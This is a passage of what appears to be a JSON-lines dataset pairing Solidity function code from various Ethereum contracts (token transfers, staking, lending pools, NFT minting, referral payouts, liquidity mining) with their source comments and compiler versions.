msg.sender, amount); // Broadcast a message to the blockchain\r\n\r\n //Transfer ether to fundsWallet (owner)\r\n owner.transfer(msg.value); \r\n }", "version": "0.4.20"} {"comment": "//payment code here\n// Transfer the balance from owner's account to another account", "function_code": "function transfer(address _to, uint256 _amount) returns (bool success) {\r\n if (balances[msg.sender] >= _amount \r\n && _amount > 0\r\n && balances[_to] + _amount > balances[_to]) {\r\n balances[msg.sender] -= _amount;\r\n balances[_to] += _amount;\r\n Transfer(msg.sender, _to, _amount);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.20"} {"comment": "// stake visibility is public as overriding LPTokenWrapper's stake() function", "function_code": "function stake(uint256 amount) public updateReward(msg.sender) checkStart {\r\n require(amount > 0, \"Cannot stake 0\");\r\n super.stake(amount);\r\n\r\n // check user cap\r\n require(\r\n balanceOf(msg.sender) <= tokenCapAmount || block.timestamp >= starttime.add(86400),\r\n \"token cap exceeded\"\r\n );\r\n\r\n // boosters do not affect new amounts\r\n boostedBalances[msg.sender] = boostedBalances[msg.sender].add(amount);\r\n boostedTotalSupply = boostedTotalSupply.add(amount);\r\n\r\n _getReward(msg.sender);\r\n\r\n // transfer token last, to follow CEI pattern\r\n stakeToken.safeTransferFrom(msg.sender, address(this), amount);\r\n }", "version": "0.5.17"} {"comment": "/// Imported from: https://forum.openzeppelin.com/t/does-safemath-library-need-a-safe-power-function/871/7\n/// Modified so that it takes in 3 arguments for base\n/// @return a * (b / c)^exponent ", "function_code": "function pow(uint256 a, uint256 b, uint256 c, uint256 exponent) internal pure returns (uint256) {\r\n if (exponent == 0) {\r\n return a;\r\n }\r\n else if (exponent == 1) {\r\n return a.mul(b).div(c);\r\n }\r\n else if (a == 0 && exponent != 0) {\r\n return 0;\r\n }\r\n else {\r\n uint256 z = a.mul(b).div(c);\r\n for (uint256 i = 1; i < exponent; i++)\r\n z = z.mul(b).div(c);\r\n return z;\r\n }\r\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Deposits `amount` USDC from msg.sender into the SeniorPool, and grants you the\n * equivalent value of FIDU tokens\n * @param amount The amount of USDC to deposit\n */", "function_code": "function deposit(uint256 amount) public override whenNotPaused nonReentrant returns (uint256 depositShares) {\n require(amount > 0, \"Must deposit more than zero\");\n // Check if the amount of new shares to be added is within limits\n depositShares = getNumShares(amount);\n uint256 potentialNewTotalShares = totalShares().add(depositShares);\n require(sharesWithinLimit(potentialNewTotalShares), \"Deposit would put the fund over the total limit.\");\n emit DepositMade(msg.sender, amount, depositShares);\n bool success = doUSDCTransfer(msg.sender, address(this), amount);\n require(success, \"Failed to transfer for deposit\");\n\n config.getFidu().mintTo(msg.sender, depositShares);\n return depositShares;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Withdraws USDC from the SeniorPool to msg.sender, and burns the equivalent value of FIDU tokens\n * @param usdcAmount The amount of USDC to withdraw\n */", "function_code": "function withdraw(uint256 usdcAmount) external override whenNotPaused nonReentrant returns (uint256 amount) {\n require(usdcAmount > 0, \"Must withdraw more than zero\");\n // This MUST happen before calculating withdrawShares, otherwise the share price\n // changes between calculation and burning of Fidu, which creates a asset/liability mismatch\n if (compoundBalance > 0) {\n _sweepFromCompound();\n }\n uint256 withdrawShares = getNumShares(usdcAmount);\n return _withdraw(usdcAmount, withdrawShares);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Withdraws USDC (denominated in FIDU terms) from the SeniorPool to msg.sender\n * @param fiduAmount The amount of USDC to withdraw in terms of FIDU shares\n */", "function_code": "function withdrawInFidu(uint256 fiduAmount) external override whenNotPaused nonReentrant returns (uint256 amount) {\n require(fiduAmount > 0, \"Must withdraw more than zero\");\n // This MUST happen before calculating withdrawShares, otherwise the share price\n // changes between calculation and burning of Fidu, which creates a asset/liability mismatch\n if (compoundBalance > 0) {\n _sweepFromCompound();\n }\n uint256 usdcAmount = getUSDCAmountFromShares(fiduAmount);\n uint256 withdrawShares = fiduAmount;\n return _withdraw(usdcAmount, withdrawShares);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Moves any USDC still in the SeniorPool to Compound, and tracks the amount internally.\n * This is done to earn interest on latent funds until we have other borrowers who can use it.\n *\n * Requirements:\n * - The caller must be an admin.\n */", "function_code": "function sweepToCompound() public override onlyAdmin whenNotPaused {\n IERC20 usdc = config.getUSDC();\n uint256 usdcBalance = usdc.balanceOf(address(this));\n\n ICUSDCContract cUSDC = config.getCUSDCContract();\n // Approve compound to the exact amount\n bool success = usdc.approve(address(cUSDC), usdcBalance);\n require(success, \"Failed to approve USDC for compound\");\n\n sweepToCompound(cUSDC, usdcBalance);\n\n // Remove compound approval to be extra safe\n success = config.getUSDC().approve(address(cUSDC), 0);\n require(success, \"Failed to approve USDC for compound\");\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Invest in an ITranchedPool's senior tranche using the fund's strategy\n * @param pool An ITranchedPool whose senior tranche should be considered for investment\n */", "function_code": "function invest(ITranchedPool pool) public override whenNotPaused nonReentrant onlyAdmin {\n require(validPool(pool), \"Pool must be valid\");\n\n if (compoundBalance > 0) {\n _sweepFromCompound();\n }\n\n ISeniorPoolStrategy strategy = config.getSeniorPoolStrategy();\n uint256 amount = strategy.invest(this, pool);\n\n require(amount > 0, \"Investment amount must be positive\");\n\n approvePool(pool, amount);\n pool.deposit(uint256(ITranchedPool.Tranches.Senior), amount);\n\n emit InvestmentMadeInSenior(address(pool), amount);\n totalLoansOutstanding = totalLoansOutstanding.add(amount);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Invest in an ITranchedPool's junior tranche.\n * @param pool An ITranchedPool whose junior tranche to invest in\n */", "function_code": "function investJunior(ITranchedPool pool, uint256 amount) public override whenNotPaused nonReentrant onlyAdmin {\n require(validPool(pool), \"Pool must be valid\");\n\n // We don't intend to support allowing the senior fund to invest in the junior tranche if it\n // has already invested in the senior tranche, so we prohibit that here. Note though that we\n // don't care to prohibit the inverse order, of the senior fund investing in the senior\n // tranche after investing in the junior tranche.\n ITranchedPool.TrancheInfo memory seniorTranche = pool.getTranche(uint256(ITranchedPool.Tranches.Senior));\n require(\n seniorTranche.principalDeposited == 0,\n \"SeniorFund cannot invest in junior tranche of tranched pool with non-empty senior tranche.\"\n );\n\n if (compoundBalance > 0) {\n _sweepFromCompound();\n }\n\n require(amount > 0, \"Investment amount must be positive\");\n\n approvePool(pool, amount);\n pool.deposit(uint256(ITranchedPool.Tranches.Junior), amount);\n\n emit InvestmentMadeInJunior(address(pool), amount);\n totalLoansOutstanding = totalLoansOutstanding.add(amount);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Redeem interest and/or principal from an ITranchedPool investment\n * @param tokenId the ID of an IPoolTokens token to be redeemed\n */", "function_code": "function redeem(uint256 tokenId) public override whenNotPaused nonReentrant onlyAdmin {\n IPoolTokens poolTokens = config.getPoolTokens();\n IPoolTokens.TokenInfo memory tokenInfo = poolTokens.getTokenInfo(tokenId);\n\n ITranchedPool pool = ITranchedPool(tokenInfo.pool);\n (uint256 interestRedeemed, uint256 principalRedeemed) = pool.withdrawMax(tokenId);\n\n _collectInterestAndPrincipal(address(pool), interestRedeemed, principalRedeemed);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Write down an ITranchedPool investment. This will adjust the fund's share price\n * down if we're considering the investment a loss, or up if the borrower has subsequently\n * made repayments that restore confidence that the full loan will be repaid.\n * @param tokenId the ID of an IPoolTokens token to be considered for writedown\n */", "function_code": "function writedown(uint256 tokenId) public override whenNotPaused nonReentrant onlyAdmin {\n IPoolTokens poolTokens = config.getPoolTokens();\n require(address(this) == poolTokens.ownerOf(tokenId), \"Only tokens owned by the senior fund can be written down\");\n\n IPoolTokens.TokenInfo memory tokenInfo = poolTokens.getTokenInfo(tokenId);\n ITranchedPool pool = ITranchedPool(tokenInfo.pool);\n require(validPool(pool), \"Pool must be valid\");\n\n uint256 principalRemaining = tokenInfo.principalAmount.sub(tokenInfo.principalRedeemed);\n\n (uint256 writedownPercent, uint256 writedownAmount) = _calculateWritedown(pool, principalRemaining);\n\n uint256 prevWritedownAmount = writedowns[pool];\n\n if (writedownPercent == 0 && prevWritedownAmount == 0) {\n return;\n }\n\n int256 writedownDelta = int256(prevWritedownAmount) - int256(writedownAmount);\n writedowns[pool] = writedownAmount;\n distributeLosses(writedownDelta);\n if (writedownDelta > 0) {\n // If writedownDelta is positive, that means we got money back. So subtract from totalWritedowns.\n totalWritedowns = totalWritedowns.sub(uint256(writedownDelta));\n } else {\n totalWritedowns = totalWritedowns.add(uint256(writedownDelta * -1));\n }\n emit PrincipalWrittenDown(address(pool), writedownDelta);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Calculates the writedown amount for a particular pool position\n * @param tokenId The token reprsenting the position\n * @return The amount in dollars the principal should be written down by\n */", "function_code": "function calculateWritedown(uint256 tokenId) public view override returns (uint256) {\n IPoolTokens.TokenInfo memory tokenInfo = config.getPoolTokens().getTokenInfo(tokenId);\n ITranchedPool pool = ITranchedPool(tokenInfo.pool);\n\n uint256 principalRemaining = tokenInfo.principalAmount.sub(tokenInfo.principalRedeemed);\n (uint256 _, uint256 writedownAmount) = _calculateWritedown(pool, principalRemaining);\n return writedownAmount;\n }", "version": "0.6.12"} {"comment": "/*\r\n returns the unpaid earnings\r\n */", "function_code": "function getUnpaidEarnings(address shareholder) public view returns (uint256) {\r\n if(shares[shareholder].amount == 0){ return 0; }\r\n\r\n uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount);\r\n uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;\r\n\r\n if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; }\r\n\r\n return shareholderTotalDividends.sub(shareholderTotalExcluded);\r\n }", "version": "0.8.10"} {"comment": "// helper for address type - see openzeppelin-contracts/blob/master/contracts/utils/Address.sol", "function_code": "function isContract(address account) internal view returns (bool) {\r\n // According to EIP-1052, 0x0 is the value returned for not-yet created accounts\r\n // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned\r\n // for accounts without code, i.e. `keccak256('')`\r\n bytes32 codehash;\r\n bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\r\n assembly { codehash := extcodehash(account) }\r\n return (codehash != accountHash && codehash != 0x0);\r\n }", "version": "0.6.12"} {"comment": "// Mystic implementation of eip-1167 - see https://eips.ethereum.org/EIPS/eip-1167", "function_code": "function createClone(address payable target) internal returns (address payable result) {\r\n bytes20 targetBytes = bytes20(target);\r\n assembly {\r\n let clone := mload(0x40)\r\n mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)\r\n mstore(add(clone, 0x14), targetBytes)\r\n mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)\r\n result := create(0, clone, 0x37)\r\n }\r\n }", "version": "0.6.12"} {"comment": "//USER FUNCTIONS", "function_code": "function meltPunk(uint256 tokenId) public payable returns (uint256) {\r\n require(msg.value >= currentPrice, \"Must send enough ETH.\");\r\n require(\r\n tokenId >= 0 && tokenId < 10000,\r\n \"Punk ID must be between -1 and 10000\"\r\n );\r\n require(totalSupply() < maxSupply, \"Maximum punks already melted.\");\r\n require(_exists(tokenId) == false, \"Punk already melted.\");\r\n\r\n _mint(msg.sender, tokenId);\r\n\r\n return tokenId;\r\n }", "version": "0.8.0"} {"comment": "// Get the internal liquidity of a SVT token", "function_code": "function get_svt_liquidity(uint256 svt_id) external view returns (bool, bool, address, address, uint256, uint256, uint256, address, address, bool) {\r\n require(SVT_address[svt_id].deployed, \"SVT Token does not exist\");\r\n uint256 liq_index = SVT_address[svt_id].SVT_Liquidity_storage;\r\n require(SVT_Liquidity_index[liq_index].deployed, \"SVT Token has no liquidity\");\r\n return (SVT_Liquidity_index[liq_index].active,\r\n SVT_Liquidity_index[liq_index].deployed,\r\n address(SVT_Liquidity_index[liq_index].token_1),\r\n address(SVT_Liquidity_index[liq_index].token_2),\r\n SVT_Liquidity_index[liq_index].token_1_qty,\r\n SVT_Liquidity_index[liq_index].token_2_qty,\r\n SVT_Liquidity_index[liq_index].liq_mode,\r\n address(SVT_Liquidity_index[liq_index].factory),\r\n address(SVT_Liquidity_index[liq_index].pair),\r\n SVT_Liquidity_index[liq_index].native_pair); \r\n }", "version": "0.8.7"} {"comment": "// Get the price of a token in eth", "function_code": "function get_token_price(address pairAddress, uint amount) external view returns(uint)\r\n {\r\n IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);\r\n address token1_frompair = pair.token1();\r\n ERC20 token1 = ERC20(token1_frompair);\r\n (uint Res0, uint Res1,) = pair.getReserves();\r\n\r\n // decimals\r\n uint res0 = Res0*(10**token1.decimals());\r\n return((amount*res0)/Res1); // return amount of token0 needed to buy token1\r\n }", "version": "0.8.7"} {"comment": "// Return the properties of a SVT token", "function_code": "function get_svt(uint256 addy) external view returns (address, uint256, uint256, uint256[] memory, bytes32 , bytes32 ) {\r\n require(SVT_address[addy].deployed, \"Token not deployed\");\r\n address tokenOwner = SVT_address[addy].tokenOwner;\r\n uint256 supply = SVT_address[addy].totalSupply;\r\n uint256 circulatingSupply = SVT_address[addy].circulatingSupply;\r\n uint256[] memory fees = SVT_address[addy].fees;\r\n bytes32 name = SVT_address[addy].name;\r\n bytes32 ticker = SVT_address[addy].ticker;\r\n return (tokenOwner, supply, circulatingSupply, fees, name, ticker);\r\n\r\n }", "version": "0.8.7"} {"comment": "/// @notice Unbridge to ETH a quantity of SVT token", "function_code": "function exit_to_token(address token, uint256 qty) public safe {\r\n ERC20 from_token = ERC20(token);\r\n // Security and uniqueness checks\r\n require(imported[token], \"This token is not imported\");\r\n uint256 unbridge_id = imported_id[token];\r\n require(SVT_address[unbridge_id].balance[msg.sender] >= qty, \"You don't have enough tokens\");\r\n require(from_token.balanceOf(address(this)) >= qty, \"There aren't enough tokens\");\r\n from_token.transfer(msg.sender, taxes_include_fee(qty));\r\n if (SVT_address[unbridge_id].circulatingSupply < 0) {\r\n SVT_address[unbridge_id].circulatingSupply = 0;\r\n }\r\n SVT_address[unbridge_id].balance[msg.sender] -= qty;\r\n taxes_native_total[unbridge_id] += qty - taxes_include_fee(qty);\r\n }", "version": "0.8.7"} {"comment": "/// @notice The next two functions are responsible to check against the initialized plugin methods ids or names. Require is used to avoid tx execution with gas if fails", "function_code": "function check_ivc_plugin_method_id(uint256 plugin, uint256 id) public view onlyTeam returns (bool) {\r\n require(plugin_loaded[plugin].exists(), \"Plugin not loaded or not existant\");\r\n bool found = false;\r\n for (uint256 i = 0; i < plugins_methods_id[plugin].length; i++) {\r\n if (plugins_methods_id[plugin][i] == id) {\r\n return true;\r\n }\r\n }\r\n require(found);\r\n return false;\r\n }", "version": "0.8.7"} {"comment": "/// @notice This function allows issuance of native coins", "function_code": "function issue_native_svt(\r\n bytes32 name,\r\n bytes32 ticker,\r\n uint256 max_supply,\r\n uint256[] calldata fees) \r\n public Unlocked(1553) safe {\r\n uint256 thisAddress = svt_last_id+1;\r\n SVT_address[thisAddress].deployed = true;\r\n SVT_address[thisAddress].circulatingSupply = max_supply;\r\n SVT_address[thisAddress].totalSupply = max_supply;\r\n SVT_address[thisAddress].fees = fees;\r\n SVT_address[thisAddress].name = name;\r\n SVT_address[thisAddress].ticker = ticker;\r\n SVT_address[thisAddress].isBridged = true;\r\n SVT_address[thisAddress].original_token = ZERO;\r\n SVT_address[thisAddress].balance[msg.sender] = taxes_include_fee(max_supply);\r\n SVT_address[thisAddress].SVT_Liquidity_storage = svt_liquidity_last_id + 1;\r\n svt_liquidity_last_id += 1;\r\n taxes_native_total[thisAddress] += max_supply - taxes_include_fee(max_supply);\r\n }", "version": "0.8.7"} {"comment": "/**\n * Mint a number of cards straight in target wallet.\n * @param _to: The target wallet address, make sure it's the correct wallet.\n * @param _numberOfTokens: The number of tokens to mint.\n * @dev This function can only be called by the contract owner as it is a free mint.\n */", "function_code": "function mintFreeCards(address _to, uint _numberOfTokens) public onlyOwner {\n uint totalSupply = totalSupply();\n require(_numberOfTokens <= _cardReserve, \"Not enough cards left in reserve\");\n require(totalSupply >= _mainCardCnt);\n require(totalSupply + _numberOfTokens <= _mainCardCnt + _cardReserve, \"Purchase would exceed max supply of cards\");\n for(uint i = 0; i < _numberOfTokens; i++) {\n uint mintIndex = totalSupply + i;\n _safeMint(_to, mintIndex);\n }\n _cardReserve -= _numberOfTokens;\n }", "version": "0.7.6"} {"comment": "/**\n * Mint a number of cards straight in the caller's wallet.\n * @param _numberOfTokens: The number of tokens to mint.\n */", "function_code": "function mintCard(uint _numberOfTokens) public payable {\n uint totalSupply = totalSupply();\n require(_saleIsActive, \"Sale must be active to mint a Card\");\n require(_numberOfTokens < 21, \"Can only mint 20 tokens at a time\");\n require(totalSupply + _numberOfTokens <= _mainCardCnt, \"Purchase would exceed max supply of cards\");\n require(msg.value >= _cardPrice * _numberOfTokens, \"Ether value sent is not correct\");\n for(uint i = 0; i < _numberOfTokens; i++) {\n uint mintIndex = totalSupply + i;\n _safeMint(msg.sender, mintIndex);\n }\n }", "version": "0.7.6"} {"comment": "/// @return id of new user", "function_code": "function register() public payable onlyNotExistingUser returns(uint256) {\r\n require(addressToUser[msg.sender] == 0);\r\n\r\n uint256 index = users.push(User(msg.sender, msg.value, 0, 0, new uint256[](4), new uint256[](referralLevelsCount))) - 1;\r\n addressToUser[msg.sender] = index;\r\n totalUsers++;\r\n\r\n emit CreateUser(index, msg.sender, msg.value);\r\n return index;\r\n }", "version": "0.4.24"} {"comment": "/// @notice update referrersByLevel and referralsByLevel of new user\n/// @param _newUserId the ID of the new user\n/// @param _refUserId the ID of the user who gets the affiliate fee", "function_code": "function _updateReferrals(uint256 _newUserId, uint256 _refUserId) private {\r\n if (_newUserId == _refUserId) return;\r\n users[_newUserId].referrersByLevel[0] = _refUserId;\r\n\r\n for (uint i = 1; i < referralLevelsCount; i++) {\r\n uint256 _refId = users[_refUserId].referrersByLevel[i - 1];\r\n users[_newUserId].referrersByLevel[i] = _refId;\r\n users[_refId].referralsByLevel[uint8(i)].push(_newUserId);\r\n }\r\n\r\n users[_refUserId].referralsByLevel[0].push(_newUserId);\r\n }", "version": "0.4.24"} {"comment": "/// @notice distribute value of tx to referrers of user\n/// @param _userId the ID of the user who gets the affiliate fee\n/// @param _sum value of ethereum for distribute to referrers of user", "function_code": "function _distributeReferrers(uint256 _userId, uint256 _sum) private {\r\n uint256[] memory referrers = users[_userId].referrersByLevel;\r\n\r\n for (uint i = 0; i < referralLevelsCount; i++) {\r\n uint256 referrerId = referrers[i];\r\n\r\n if (referrers[i] == 0) break;\r\n if (users[referrerId].totalPay < minSumReferral) continue;\r\n\r\n uint16[] memory percents = getReferralPercents(users[referrerId].totalPay);\r\n uint256 value = _sum * percents[i] / 10000;\r\n users[referrerId].balance = users[referrerId].balance.add(value);\r\n users[referrerId].referrersReceived = users[referrerId].referrersReceived.add(value);\r\n\r\n emit ReferrerDistribute(_userId, referrerId, value);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/// @notice deposit ethereum for user\n/// @return balance value of user", "function_code": "function deposit() public payable onlyExistingUser returns(uint256) {\r\n require(msg.value > minSumDeposit, \"Deposit does not enough\");\r\n uint256 userId = addressToUser[msg.sender];\r\n users[userId].balance = users[userId].balance.add(msg.value);\r\n totalDeposit += msg.value;\r\n\r\n // distribute\r\n _distributeInvestment(msg.value);\r\n _updateLeaders(msg.sender, msg.value);\r\n\r\n emit Deposit(userId, msg.value);\r\n return users[userId].balance;\r\n }", "version": "0.4.24"} {"comment": "/// @notice mechanics of buying any factory\n/// @param _type type of factory needed\n/// @return id of new factory", "function_code": "function buyFactory(FactoryType _type) public payable onlyExistingUser returns (uint256) {\r\n uint256 userId = addressToUser[msg.sender];\r\n\r\n // if user not registered\r\n if (addressToUser[msg.sender] == 0)\r\n userId = register();\r\n\r\n return _paymentProceed(userId, Factory(_type, 0, now));\r\n }", "version": "0.4.24"} {"comment": "//This function is called when Ether is sent to the contract address\n//Even if 0 ether is sent.", "function_code": "function () payable {\r\n\t \r\n\t uint256 tryAmount = div((mul(msg.value, rate)), 1 ether); //Don't let people buy more tokens than there are.\r\n\t \r\n\t\tif (msg.value == 0 || msg.value < 0 || balanceOf(owner) < tryAmount) {\t\t//If zero ether is sent, kill. Do nothing. \r\n\t\t\tthrow;\r\n\t\t}\r\n\t\t\r\n\t amount = 0;\t\t\t\t\t\t\t\t\t //set the 'amount' var back to zero\r\n\t\tamount = div((mul(msg.value, rate)), 1 ether);\t\t\t\t//take sent ether, multiply it by the rate then divide by 1 ether.\r\n\t\ttransferFrom(owner, msg.sender, amount); //Send tokens to buyer\r\n\t\tamount = 0;\t\t\t\t\t\t\t\t\t //set the 'amount' var back to zero\r\n\t\t\r\n\t\t\r\n\t\towner.transfer(msg.value);\t\t\t\t\t //Send the ETH to contract owner.\r\n\r\n\t}", "version": "0.4.11"} {"comment": "/// @notice function of proceed payment\n/// @dev for only buy new factory\n/// @return id of new factory", "function_code": "function _paymentProceed(uint256 _userId, Factory _factory) private returns(uint256) {\r\n User storage user = users[_userId];\r\n\r\n require(_checkPayment(user, _factory.ftype, _factory.level));\r\n\r\n uint256 price = getPrice(_factory.ftype, 0);\r\n user.balance = user.balance.add(msg.value);\r\n user.balance = user.balance.sub(price);\r\n user.totalPay = user.totalPay.add(price);\r\n totalDeposit += msg.value;\r\n\r\n uint256 index = factories.push(_factory) - 1;\r\n factoryToUser[index] = _userId;\r\n userToFactories[_userId].push(index);\r\n\r\n // distribute\r\n _distributeInvestment(msg.value);\r\n _distributeReferrers(_userId, price);\r\n _updateLeaders(msg.sender, msg.value);\r\n\r\n emit PaymentProceed(_userId, index, _factory.ftype, price);\r\n return index;\r\n }", "version": "0.4.24"} {"comment": "/// @notice level up for factory\n/// @param _factoryId id of factory", "function_code": "function levelUp(uint256 _factoryId) public payable onlyExistingUser {\r\n Factory storage factory = factories[_factoryId];\r\n uint256 price = getPrice(factory.ftype, factory.level + 1);\r\n\r\n uint256 userId = addressToUser[msg.sender];\r\n User storage user = users[userId];\r\n\r\n require(_checkPayment(user, factory.ftype, factory.level + 1));\r\n\r\n // payment\r\n user.balance = user.balance.add(msg.value);\r\n user.balance = user.balance.sub(price);\r\n user.totalPay = user.totalPay.add(price);\r\n totalDeposit += msg.value;\r\n\r\n _distributeInvestment(msg.value);\r\n _distributeReferrers(userId, price);\r\n\r\n // collect\r\n _collectResource(factory, user);\r\n factory.level++;\r\n\r\n _updateLeaders(msg.sender, msg.value);\r\n\r\n emit LevelUp(_factoryId, factory.level, userId, price);\r\n }", "version": "0.4.24"} {"comment": "/// @notice function for collect all resources from all factories\n/// @dev wrapper over _collectResource", "function_code": "function collectResources() public onlyExistingUser {\r\n uint256 index = addressToUser[msg.sender];\r\n User storage user = users[index];\r\n uint256[] storage factoriesIds = userToFactories[addressToUser[msg.sender]];\r\n\r\n for (uint256 i = 0; i < factoriesIds.length; i++) {\r\n _collectResource(factories[factoriesIds[i]], user);\r\n }\r\n }", "version": "0.4.24"} {"comment": "// always results in incubation of 1 egg.", "function_code": "function startIncubate() public whenNotPausedIncubate nonReentrant{\r\n require (tme.balanceOf(msg.sender) >= tmePerIncubate, \"Not enough TME\");\r\n require (maxActiveIncubationsPerUser == 0 || ownerToNumActiveIncubations[msg.sender] < maxActiveIncubationsPerUser, \"Max active incubations exceed\");\r\n require (tme.transferFrom(address(msg.sender), address(this), tmePerIncubate), \"Failed to transfer TME\");\r\n uint256 newId = incubations.length;\r\n uint256 targetBlock = block.number + inbucateDurationInSecs.div(secsPerBlock) - 20; //buffer to make sure target block is earlier than end timestamp\r\n uint256 endTime = block.timestamp + inbucateDurationInSecs;\r\n Incubation memory incubation = Incubation(\r\n newId,\r\n block.number,\r\n targetBlock,\r\n msg.sender,\r\n block.timestamp,\r\n endTime,\r\n false,\r\n false,\r\n 0\r\n );\r\n traitOracle.registerSeedForIncubation(targetBlock, msg.sender, block.timestamp, newId);\r\n\r\n incubations.push(incubation);\r\n ownerToNumIncubations[msg.sender] += 1;\r\n ownerToIds[msg.sender].push(newId);\r\n ownerToNumActiveIncubations[msg.sender] += 1;\r\n\r\n // require(incubations[newId].id == newId, \"Sanity check for using id as arr index\");\r\n\r\n emit IncubationStarted(msg.sender, block.timestamp, endTime);\r\n }", "version": "0.6.12"} {"comment": "// called by backend to find out hatch result", "function_code": "function getResultOfIncubation(uint256 id) public view returns (bool, uint256){\r\n require (id < incubations.length, \"invalid id\");\r\n\r\n Incubation memory toHatch = incubations[id];\r\n require (toHatch.targetBlock < block.number, \"not reached block\");\r\n uint256 randomN = traitOracle.getRandomN(toHatch.targetBlock, toHatch.id);\r\n bool success = (_sliceNumber(randomN, SUCCESS_BIT_WIDTH, SUCCESS_OFFSET) >= HATCH_THRESHOLD);\r\n uint256 randomN2 = uint256(keccak256(abi.encodePacked(randomN)));\r\n uint256 traits = getTraitsFromRandom(randomN2);\r\n\r\n return (success, traits);\r\n }", "version": "0.6.12"} {"comment": "/// @dev given a number get a slice of any bits, at certain offset\n/// @param _n a number to be sliced\n/// @param _nbits how many bits long is the new number\n/// @param _offset how many bits to skip", "function_code": "function _sliceNumber(uint256 _n, uint8 _nbits, uint8 _offset) private pure returns (uint8) {\r\n // mask is made by shifting left an offset number of times\r\n uint256 mask = uint256((2**uint256(_nbits)) - 1) << _offset;\r\n // AND n with mask, and trim to max of _nbits bits\r\n return uint8((_n & mask) >> _offset);\r\n }", "version": "0.6.12"} {"comment": "/// INITIALIZATION FUNCTIONALITY ///", "function_code": "function initialize() public {\r\n require(!initialized, \"Contract is already initialized\");\r\n owner = msg.sender;\r\n proposedOwner = address(0);\r\n assetProtectionRole = address(0);\r\n totalSupply_ = 0;\r\n supplyController = msg.sender;\r\n feeRate = 0;\r\n feeController = msg.sender;\r\n feeRecipient = msg.sender;\r\n initialized = true;\r\n }", "version": "0.4.24"} {"comment": "/// ERC20 FUNCTIONALITY ///", "function_code": "function transferFrom(\r\n address _from,\r\n address _to,\r\n uint256 _value\r\n )\r\n public\r\n whenNotPaused\r\n returns (bool)\r\n {\r\n require(_to != address(0), \"cannot transfer to address zero\");\r\n require(!frozen[_to] && !frozen[_from] && !frozen[msg.sender], \"address frozen\");\r\n require(_value <= balances[_from], \"insufficient funds\");\r\n require(_value <= allowed[_from][msg.sender], \"insufficient allowance\");\r\n\r\n allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);\r\n _transfer(_from, _to, _value);\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// Increase the lock balance of a specific person.\n// If you only want to increase the balance, the release_time must be specified in advance.", "function_code": "function increaseLockBalance(address _holder, uint256 _value)\r\n public\r\n onlyOwner\r\n returns (bool)\r\n {\r\n\trequire(_holder != address(0));\r\n\trequire(_value > 0);\r\n\trequire(balanceOf(_holder) >= _value);\r\n\t\r\n\tif (userLock[_holder].release_time == 0) {\r\n\t\tuserLock[_holder].release_time = block.timestamp + lock_period;\r\n\t}\r\n\t\r\n\tuserLock[_holder].locked_balance = (userLock[_holder].locked_balance).add(_value);\r\n\temit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time);\r\n\treturn true;\r\n }", "version": "0.4.25"} {"comment": "/// @notice update pool's rewards & bonus per staked token till current block timestamp", "function_code": "function updatePool(address _lpToken) public override {\n Pool storage pool = pools[_lpToken];\n if (block.timestamp <= pool.lastUpdatedAt) return;\n uint256 lpTotal = IERC20(_lpToken).balanceOf(address(this));\n if (lpTotal == 0) {\n pool.lastUpdatedAt = block.timestamp;\n return;\n }\n // update COVER rewards for pool\n uint256 coverRewards = _calculateCoverRewardsForPeriod(pool);\n pool.accRewardsPerToken = pool.accRewardsPerToken.add(coverRewards.div(lpTotal));\n pool.lastUpdatedAt = block.timestamp;\n // update bonus token rewards if exist for pool\n BonusToken storage bonusToken = bonusTokens[_lpToken];\n if (bonusToken.lastUpdatedAt < bonusToken.endTime && bonusToken.startTime < block.timestamp) {\n uint256 bonus = _calculateBonusForPeriod(bonusToken);\n bonusToken.accBonusPerToken = bonusToken.accBonusPerToken.add(bonus.div(lpTotal));\n bonusToken.lastUpdatedAt = block.timestamp <= bonusToken.endTime ? block.timestamp : bonusToken.endTime;\n }\n }", "version": "0.7.4"} {"comment": "/// @notice withdraw all without rewards", "function_code": "function emergencyWithdraw(address _lpToken) external override {\n Miner storage miner = miners[_lpToken][msg.sender];\n uint256 amount = miner.amount;\n require(miner.amount > 0, \"Blacksmith: insufficient balance\");\n miner.amount = 0;\n miner.rewardWriteoff = 0;\n _safeTransfer(_lpToken, amount);\n emit Withdraw(msg.sender, _lpToken, amount);\n }", "version": "0.7.4"} {"comment": "/// @notice update pool weights", "function_code": "function updatePoolWeights(address[] calldata _lpTokens, uint256[] calldata _weights) public override onlyGovernance {\n for (uint256 i = 0; i < _lpTokens.length; i++) {\n Pool storage pool = pools[_lpTokens[i]];\n if (pool.lastUpdatedAt > 0) {\n totalWeight = totalWeight.add(_weights[i]).sub(pool.weight);\n pool.weight = _weights[i];\n }\n }\n }", "version": "0.7.4"} {"comment": "/// @notice add a new pool for shield mining", "function_code": "function addPool(address _lpToken, uint256 _weight) public override onlyOwner {\n Pool memory pool = pools[_lpToken];\n require(pool.lastUpdatedAt == 0, \"Blacksmith: pool exists\");\n pools[_lpToken] = Pool({\n weight: _weight,\n accRewardsPerToken: 0,\n lastUpdatedAt: block.timestamp\n });\n totalWeight = totalWeight.add(_weight);\n poolList.push(_lpToken);\n }", "version": "0.7.4"} {"comment": "/// @notice add new pools for shield mining", "function_code": "function addPools(address[] calldata _lpTokens, uint256[] calldata _weights) external override 